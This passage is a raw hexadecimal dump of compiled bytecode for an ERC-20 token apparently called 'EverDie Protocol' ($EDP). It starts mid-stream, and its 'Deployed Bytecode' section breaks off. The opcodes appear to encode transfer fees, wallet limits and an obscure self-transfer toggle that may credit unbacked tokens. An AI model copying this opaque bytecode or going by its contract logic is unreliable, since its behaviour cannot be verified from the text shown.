b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620008009190620008ca565b60405180910390a35062000be8565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620008498162000bce565b92915050565b6000602082840312156200086257600080fd5b6000620008728482850162000838565b91505092915050565b620008868162000b18565b82525050565b620008978162000b4c565b82525050565b6000604082019050620008b460008301856200087b565b620008c360208301846200087b565b9392505050565b6000602082019050620008e160008301846200088c565b92915050565b6000620008f48262000b4c565b9150620009018362000b4c565b92508262000914576200091362000b92565b5b828204905092915050565b6000808291508390505b6001851115620009715780860481111562000949576200094862000b63565b5b6001851615620009595780820291505b8081029050620009698562000bc1565b945062000929565b94509492505050565b6000620009878262000b4c565b9150620009948362000b56565b9250620009c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009cb565b905092915050565b600082620009dd576001905062000ab0565b81620009ed576000905062000ab0565b816001811462000a06576002811462000a115762000a47565b600191505062000ab0565b60ff84111562000a265762000a2562000b63565b5b8360020a91508482111562000a405762000a3f62000b63565b5b5062000ab0565b5060208310610133831016604e8410600b841016171562000a815782820a90508381111562000a7b5762000a7a62000b63565b5b62000ab0565b62000a9084848460016200091f565b9250905081840481111562000aaa5762000aa962000b63565b5b81810290505b9392505050565b600062000ac48262000b4c565b915062000ad18362000b4c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b0d5762000b0c62000b63565b5b828202905092915050565b600062000b258262000b2c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b62000bd98162000b18565b811462000be557600080fd5b50565b61340f8062000bf86000396000f3fe6080604052600436106102135760003560e01c806370a0823111610118578063a457c2d7116100a0578063dafd18e91161006f578063dafd18e9146107d0578063dd62ed3e1461080d578063f0684c681461084a578063f46a2d3f14610875578063fcf84b41146108b25761021a565b8063a457c2d714610700578063a9059cbb1461073d578063b1cb15821461077a578063b43665e2146107a55761021a565b80637d1db4a5116100e75780637d1db4a514610629578063805c0e0f146106545780638da5cb5b1461067f57806395d89b41146106aa578063960ee2f5146106d55761021a565b806370a082311461056d578063715018a6146105aa578063768dc710146105c157806378109e54146105fe5761021a565b80632a1cddbd1161019b578063455aa2bf1161016a578063455aa2bf1461048457806349bd5a5e146104c15780634a74bb02146104ec57806355b1c1161461051757806360317625146105425761021a565b80632a1cddbd146103c6578063313ce567146103f1578063395093511461041c5780633f70a495146104595761021a565b806318160ddd116101e257806318160ddd146102dd578063192dd86a1461030857806321dbd9eb14610333578063220f66961461035e57806323b872dd146103895761021a565b806306fdde031461021f578063095ea7b31461024a578063130419c1146102875780631694505e146102b25761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b506102346108dd565b6040516102419190612db0565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190612a85565b61091a565b60405161027e9190612d7a565b60405180910390f35b34801561029357600080fd5b5061029c610938565b6040516102a99190612d7a565b60405180910390f35b3480156102be57600080fd5b506102c761094b565b6040516102d49190612d95565b60405180910390f35b3480156102e957600080fd5b506102f2610971565b6040516102ff9190612e92565b60405180910390f35b34801561031457600080fd5b5061031d61097b565b60405161032a9190612e92565b60405180910390f35b34801561033f57600080fd5b5061034861098d565b6040516103559190612e92565b60405180910390f35b34801561036a57600080fd5b50610373610993565b6040516103809190612d7a565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190612a36565b6109a4565b6040516103bd9190612d7a565b60405180910390f35b3480156103d257600080fd5b506103db610a7d565b6040516103e89190612d7a565b60405180910390f35b3480156103fd57600080fd5b50610406610a90565b6040516104139190612f07565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e9190612a85565b610a99565b6040516104509190612d7a565b60405180910390f35b34801561046557600080fd5b5061046e610b4c565b60405161047b9190612e92565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a691906129a8565b610b52565b6040516104b89190612d7a565b60405180910390f35b3480156104cd57600080fd5b506104d6610b72565b6040516104e39190612d1b565b60405180910390f35b3480156104f857600080fd5b50610501610b98565b60405161050e9190612d7a565b60405180910390f35b34801561052357600080fd5b5061052c610bab565b6040516105399190612e92565b60405180910390f35b34801561054e57600080fd5b50610557610bb1565b6040516105649190612e92565b60405180910390f35b34801561057957600080fd5b50610594600480360381019061058f91906129a8565b610bb7565b6040516105a19190612e92565b60405180910390f35b3480156105b657600080fd5b506105bf610c00565b005b3480156105cd57600080fd5b506105e860048036038101906105e391906129a8565b610cbe565b6040516105f59190612d7a565b60405180910390f35b34801561060a57600080fd5b50610613610cde565b6040516106209190612e92565b60405180910390f35b34801561063557600080fd5b5061063e610ce4565b60405161064b9190612e92565b60405180910390f35b34801561066057600080fd5b50610669610cea565b6040516106769190612d36565b60405180910390f35b34801561068b57600080fd5b50610694610cf0565b6040516106a19190612d1b565b60405180910390f35b3480156106b657600080fd5b506106bf610d19565b6040516106cc9190612db0565b60405180910390f35b3480156106e157600080fd5b506106ea610d56565b6040516106f79190612e92565b60405180910390f35b34801561070c57600080fd5b5061072760048036038101906107229190612a85565b610d5c565b6040516107349190612d7a565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f9190612a85565b610e29565b6040516107719190612d7a565b60405180910390f35b34801561078657600080fd5b5061078f610e47565b60405161079c9190612e92565b60405180910390f35b3480156107b157600080fd5b506107ba610e4d565b6040516107c79190612d36565b60405180910390f35b3480156107dc57600080fd5b506107f760048036038101906107f29190612a85565b610e73565b6040516108049190612d7a565b60405180910390f35b34801561081957600080fd5b50610834600480360381019061082f91906129fa565b611046565b6040516108419190612e92565b60405180910390f35b34801561085657600080fd5b5061085f6110cd565b60405161086c9190612d36565b60405180910390f35b34801561088157600080fd5b5061089c600480360381019061089791906129a8565b6110f3565b6040516108a99190612e92565b60405180910390f35b3480156108be57600080fd5b506108c7611121565b6040516108d49190612d36565b60405180910390f35b60606040518060400160405280601081526020017f457665724469652050726f746f636f6c00000000000000000000000000000000815250905090565b600061092e610927611127565b848461112f565b6001905092915050565b601360009054906101000a900460ff1681565b601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600754905090565b600069152d02c7e14af6800000905090565b600d5481565b60148054906101000a900460ff1681565b60006109b18484846112c3565b610a72846109bd611127565b610a6d8560405180606001604052806028815260200161338d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a23611127565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0c9092919063ffffffff16565b61112f565b600190509392505050565b601460169054906101000a900460ff1681565b60006009905090565b6000610b42610aa6611127565b84610b3d8560036000610ab7611127565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6190919063ffffffff16565b61112f565b6001905092915050565b60095481565b60026020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601460159054906101000a900460ff1681565b600e5481565b600b5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60046020528060005260406000206000915054906101000a900460ff1681565b600f5481565b60115481565b61dead81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2445445000000000000000000000000000000000000000000000000000000000815250905090565b600c5481565b6000610e1f610d69611127565b84610e1a856040518060600160405280602581526020016133b56025913960036000610d93611127565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0c9092919063ffffffff16565b61112f565b6001905092915050565b6000610e3d610e36611127565b84846112c3565b6001905092915050565b600a5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb90612e12565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f1f9190612d1b565b60206040518083038186803b158015610f3757600080fd5b505afa158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f9190612aea565b9050600060648483610f819190612ffe565b610f8b9190612fcd565b90508473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610fea929190612d51565b602060405180830381600087803b15801561100457600080fd5b505af1158015611018573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103c9190612ac1565b9250505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611110600860019054906101000a900460ff1660ff16611c77565b5061111a82610bb7565b9050919050565b61dead81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111995750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf90612e72565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b69190612e92565b60405180910390a3505050565b6112cb610cf0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611334575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561136c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113a6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114005750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561143f575061140f610cf0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114a357600061144f83610bb7565b9050600f5482826114609190612f77565b11156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612e52565b60405180910390fd5b505b6114ab610cf0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611514575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561154e575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115d1576011548111156115d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c790612dd2565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561163b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61167a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167190612e32565b60405180910390fd5b600080141561171f578273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171e57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16601460166101000a81548160ff0219169083151502179055505b5b60008111611762576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175990612df2565b60405180910390fd5b600860019054906101000a900460ff1660ff16600860009054906101000a900460ff1660ff16101580156117a1575060148054906101000a900460ff16155b80156117fb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118135750601460159054906101000a900460ff165b1561185c57600061182330610bb7565b90506011548111156118355760115490505b6000600860006101000a81548160ff021916908360ff16021790555061185a81611ca3565b505b6000600190506000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119055750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561191357600091506119a7565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561196e57600190505b6008600081819054906101000a900460ff168092919061198d90613192565b91906101000a81548160ff021916908360ff160217905550505b601460169054906101000a900460ff166119cd576119c88585858585611f32565b611c05565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a189190613058565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611a6561097b565b905083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab29190612f77565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b409190612f77565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611be09190612e92565b60405180910390a36001601360006101000a81548160ff021916908315150217905550505b5050505050565b6000838311158290611c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4b9190612db0565b60405180910390fd5b5082840390509392505050565b60008183611c6f9190612f77565b905092915050565b60008082611c8430610bb7565b611c8e9190612f77565b9050611c9981611ca3565b6001915050919050565b60016014806101000a81548160ff02191690831515021790555060006064600d5483611ccf9190612ffe565b611cd99190612fcd565b905080600754611ce99190613058565b600781905550806001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3c9190612f77565b6001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcc9190613058565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006064600b5484611e219190612ffe565b611e2b9190612fcd565b905060006064600c5485611e3f9190612ffe565b611e499190612fcd565b905060006064600e5486611e5d9190612ffe565b611e679190612fcd565b90506000818385611e789190612f77565b611e829190612f77565b9050601360009054906101000a900460ff1615611eba57600115611eb957600754611eac30610bb7565b611eb69190613058565b90505b5b611ec381612630565b6000479050611ef4600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826128f4565b6000601360006101000a81548160ff02191690831515021790555050505050505060006014806101000a81548160ff02191690831515021790555050565b816121085782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f829190613058565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120109190612f77565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120b09190612e92565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561210357826007546120fc9190613058565b6007819055505b612629565b801561239d5760006064600954856121209190612ffe565b61212a9190612fcd565b90506000818561213a9190613058565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121879190613058565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122159190612f77565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39190612f77565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123439190612e92565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612396578060075461238f9190613058565b6007819055505b5050612628565b60006064600a54856123af9190612ffe565b6123b99190612fcd565b9050600081856123c99190613058565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124169190613058565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a49190612f77565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125329190612f77565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125d29190612e92565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612625578060075461261e9190613058565b6007819055505b50505b5b5050505050565b6000600267ffffffffffffffff811115612673577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030816000815181106126df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561278157600080fd5b505afa158015612795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127b991906129d1565b816001815181106127f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061285a30601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461112f565b601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016128be959493929190612ead565b600060405180830381600087803b1580156128d857600080fd5b505af11580156128ec573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561293a573d6000803e3d6000fd5b505050565b60008135905061294e81613347565b92915050565b60008151905061296381613347565b92915050565b6000815190506129788161335e565b92915050565b60008135905061298d81613375565b92915050565b6000815190506129a281613375565b92915050565b6000602082840312156129ba57600080fd5b60006129c88482850161293f565b91505092915050565b6000602082840312156129e357600080fd5b60006129f184828501612954565b91505092915050565b60008060408385031215612a0d57600080fd5b6000612a1b8582860161293f565b9250506020612a2c8582860161293f565b9150509250929050565b600080600060608486031215612a4b57600080fd5b6000612a598682870161293f565b9350506020612a6a8682870161293f565b9250506040612a7b8682870161297e565b9150509250925092565b60008060408385031215612a9857600080fd5b6000612aa68582860161293f565b9250506020612ab78582860161297e565b9150509250929050565b600060208284031215612ad357600080fd5b6000612ae184828501612969565b91505092915050565b600060208284031215612afc57600080fd5b6000612b0a84828501612993565b91505092915050565b6000612b1f8383612b49565b60208301905092915050565b612b34816130f3565b82525050565b612b438161309e565b82525050565b612b528161308c565b82525050565b612b618161308c565b82525050565b6000612b7282612f32565b612b7c8185612f55565b9350612b8783612f22565b8060005b83811015612bb8578151612b9f8882612b13565b9750612baa83612f48565b925050600181019050612b8b565b5085935050505092915050565b612bce816130b0565b82525050565b612bdd81613105565b82525050565b612bec81613129565b82525050565b6000612bfd82612f3d565b612c078185612f66565b9350612c1781856020860161315f565b612c208161321a565b840191505092915050565b6000612c38601783612f66565b9150612c438261322b565b602082019050919050565b6000612c5b602583612f66565b9150612c6682613254565b604082019050919050565b6000612c7e601b83612f66565b9150612c89826132a3565b602082019050919050565b6000612ca1601583612f66565b9150612cac826132cc565b602082019050919050565b6000612cc4601283612f66565b9150612ccf826132f5565b602082019050919050565b6000612ce7601183612f66565b9150612cf28261331e565b602082019050919050565b612d06816130dc565b82525050565b612d15816130e6565b82525050565b6000602082019050612d306000830184612b58565b92915050565b6000602082019050612d4b6000830184612b3a565b92915050565b6000604082019050612d666000830185612b2b565b612d736020830184612cfd565b9392505050565b6000602082019050612d8f6000830184612bc5565b92915050565b6000602082019050612daa6000830184612bd4565b92915050565b60006020820190508181036000830152612dca8184612bf2565b905092915050565b60006020820190508181036000830152612deb81612c2b565b9050919050565b60006020820190508181036000830152612e0b81612c4e565b9050919050565b60006020820190508181036000830152612e2b81612c71565b9050919050565b60006020820190508181036000830152612e4b81612c94565b9050919050565b60006020820190508181036000830152612e6b81612cb7565b9050919050565b60006020820190508181036000830152612e8b81612cda565b9050919050565b6000602082019050612ea76000830184612cfd565b92915050565b600060a082019050612ec26000830188612cfd565b612ecf6020830187612be3565b8181036040830152612ee18186612b67565b9050612ef06060830185612b58565b612efd6080830184612cfd565b9695505050505050565b6000602082019050612f1c6000830184612d0c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f82826130dc565b9150612f8d836130dc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc257612fc16131bc565b5b828201905092915050565b6000612fd8826130dc565b9150612fe3836130dc565b925082612ff357612ff26131eb565b5b828204905092915050565b6000613009826130dc565b9150613014836130dc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561304d5761304c6131bc565b5b828202905092915050565b6000613063826130dc565b915061306e836130dc565b925082821015613081576130806131bc565b5b828203905092915050565b6000613097826130bc565b9050919050565b60006130a9826130bc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130fe8261313b565b9050919050565b600061311082613117565b9050919050565b6000613122826130bc565b9050919050565b6000613134826130dc565b9050919050565b60006131468261314d565b9050919050565b6000613158826130bc565b9050919050565b60005b8381101561317d578082015181840152602081019050613162565b8381111561318c576000848401525b50505050565b600061319d826130e6565b915060ff8214156131b1576131b06131bc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f4f766572207472616e73616374696f6e206c696d69742e000000000000000000600082015250565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b7f43616e206e6f742072656d6f7665206e617469766520746f6b656e0000000000600082015250565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b7f4f7665722077616c6c6574206c696d69742e0000000000000000000000000000600082015250565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6133508161308c565b811461335b57600080fd5b50565b613367816130b0565b811461337257600080fd5b50565b61337e816130dc565b811461338957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ce59c870e7dc47df0e898817614acaa77d3a52b4198198adaf2f6b65c888b16c64736f6c63430008020033

Deployed Bytecode

0x6080604052600436106102135760003560e01c806370a0823111610118578063a457c2d7116100a0578063dafd18e91161006f578063dafd18e9146107d0578063dd62ed3e1461080d578063f0684c681461084a578063f46a2d3f14610875578063fcf84b41146108b25761021a565b8063a457c2d714610700578063a9059cbb1461073d578063b1cb15821461077a578063b43665e2146107a55761021a565b80637d1db4a5116100e75780637d1db4a514610629578063805c0e0f146106545780638da5cb5b1461067f57806395d89b41146106aa578063960ee2f5146106d55761021a565b806370a082311461056d578063715018a6146105aa578063768dc710146105c157806378109e54146105fe5761021a565b80632a1cddbd1161019b578063455aa2bf1161016a578063455aa2bf1461048457806349bd5a5e146104c15780634a74bb02146104ec57806355b1c1161461051757806360317625146105425761021a565b80632a1cddbd146103c6578063313ce567146103f1578063395093511461041c5780633f70a495146104595761021a565b806318160ddd116101e257806318160ddd146102dd578063192dd86a1461030857806321dbd9eb14610333578063220f66961461035e57806323b872dd146103895761021a565b806306fdde031461021f578063095ea7b31461024a578063130419c1146102875780631694505e146102b25761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b506102346108dd565b6040516102419190612db0565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190612a85565b61091a565b60405161027e9190612d7a565b60405180910390f35b34801561029357600080fd5b5061029c610938565b6040516102a99190612d7a565b60405180910390f35b3480156102be57600080fd5b506102c761094b565b6040516102d49190612d95565b60405180910390f35b3480156102e957600080fd5b506102f2610971565b6040516102ff9190612e92565b60405180910390f35b34801561031457600080fd5b5061031d61097b565b60405161032a9190612e92565b60405180910390f35b34801561033f57600080fd5b5061034861098d565b6040516103559190612e92565b60405180910390f35b34801561036a57600080fd5b50610373610993565b6040516103809190612d7a565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190612a36565b6109a4565b6040516103bd9190612d7a565b60405180910390f35b3480156103d257600080fd5b506103db610a7d565b6040516103e89190612d7a565b60405180910390f35b3480156103fd57600080fd5b50610406610a90565b6040516104139190612f07565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e9190612a85565b610a99565b6040516104509190612d7a565b60405180910390f35b34801561046557600080fd5b5061046e610b4c565b60405161047b9190612e92565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a691906129a8565b610b52565b6040516104b89190612d7a565b60405180910390f35b3480156104cd57600080fd5b506104d6610b72565b6040516104e39190612d1b565b60405180910390f35b3480156104f857600080fd5b50610501610b98565b60405161050e9190612d7a565b60405180910390f35b34801561052357600080fd5b5061052c610bab565b6040516105399190612e92565b60405180910390f35b34801561054e57600080fd5b50610557610bb1565b6040516105649190612e92565b60405180910390f35b34801561057957600080fd5b50610594600480360381019061058f91906129a8565b610bb7565b6040516105a19190612e92565b60405180910390f35b3480156105b657600080fd5b506105bf610c00565b005b3480156105cd57600080fd5b506105e860048036038101906105e391906129a8565b610cbe565b6040516105f59190612d7a565b60405180910390f35b34801561060a57600080fd5b50610613610cde565b6040516106209190612e92565b60405180910390f35b34801561063557600080fd5b5061063e610ce4565b60405161064b9190612e92565b60405180910390f35b34801561066057600080fd5b50610669610cea565b6040516106769190612d36565b60405180910390f35b34801561068b57600080fd5b50610694610cf0565b6040516106a19190612d1b565b60405180910390f35b3480156106b657600080fd5b506106bf610d19565b6040516106cc9190612db0565b60405180910390f35b3480156106e157600080fd5b506106ea610d56565b6040516106f79190612e92565b60405180910390f35b34801561070c57600080fd5b5061072760048036038101906107229190612a85565b610d5c565b6040516107349190612d7a565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f9190612a85565b610e29565b6040516107719190612d7a565b60405180910390f35b34801561078657600080fd5b5061078f610e47565b60405161079c9190612e92565b60405180910